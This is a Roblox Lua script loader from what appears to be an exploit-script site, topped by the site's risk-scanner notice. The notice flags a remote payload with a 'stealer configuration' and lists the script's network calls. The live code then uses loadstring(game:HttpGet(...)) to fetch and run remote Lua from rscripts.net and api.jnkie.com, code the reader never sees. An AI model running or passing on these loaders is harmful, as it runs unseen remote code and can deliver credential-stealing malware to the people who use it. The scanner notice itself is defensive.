-- [[ Rscripts Risk Notice ]] -- This script was flagged by the rscripts.net risk scanner. Deal with caution. -- -- Stay safe: -- • Never log in on unofficial Roblox sites or lookalike domains. -- • Real Roblox links use roblox.com (check the .com ending). -- • Treat fake Roblox login / "claim reward" pages as phishing. -- -- Risk level: Suspicious (score 7/10) -- What the scanner found: -- • [High] Malicious payload at raw.githubusercontent.com — URL 'https://raw.githubusercontent.com/Footagesus/Icons/refs/heads/main/geist/dist/Icons.lua' [via github.com → raw.githubusercontent.com → raw.githubusercontent.com] serves a script with: Stealer configuration -- Network activity: -- • https://github.com/Footagesus/WindUI/releases/latest/download/main.lua -- • https://jnkie.com/sdk/library.lua -- • https://api.jnkie.com/api/v1/luascripts/delivery/72b28abbcc33431aa63f171c07c427d0840d6d795f45093b4c7ea77597ee85df?v=2&errors=text -- Dynamic execution: -- • loadstring(game:HttpGet("https://github.com/Footagesus/WindUI/releases/latest/download/main.lua") -- • loadstring(game:HttpGet("https://jnkie.com/sdk/library.lua") -- • loadstring(b) -- [[ End Rscripts Risk Notice ]] --[[rscripts:analytics:start]] -- Script analytics (enabled by the creator on rscripts.net). -- Runs in its own thread and cannot affect the script below. task.spawn(function() pcall(function() loadstring(game:HttpGet("https://rscripts.net/api/telemetry/v2/client.lua?s=6ace2731ffce1bd7a7b39297"))() end) end) --[[rscripts:analytics:end]] loadstring(game:HttpGet("https://api.jnkie.com/api/v1/luascripts/public/72b28abbcc33431aa63f171c07c427d0840d6d795f45093b4c7ea77597ee85df/download"))()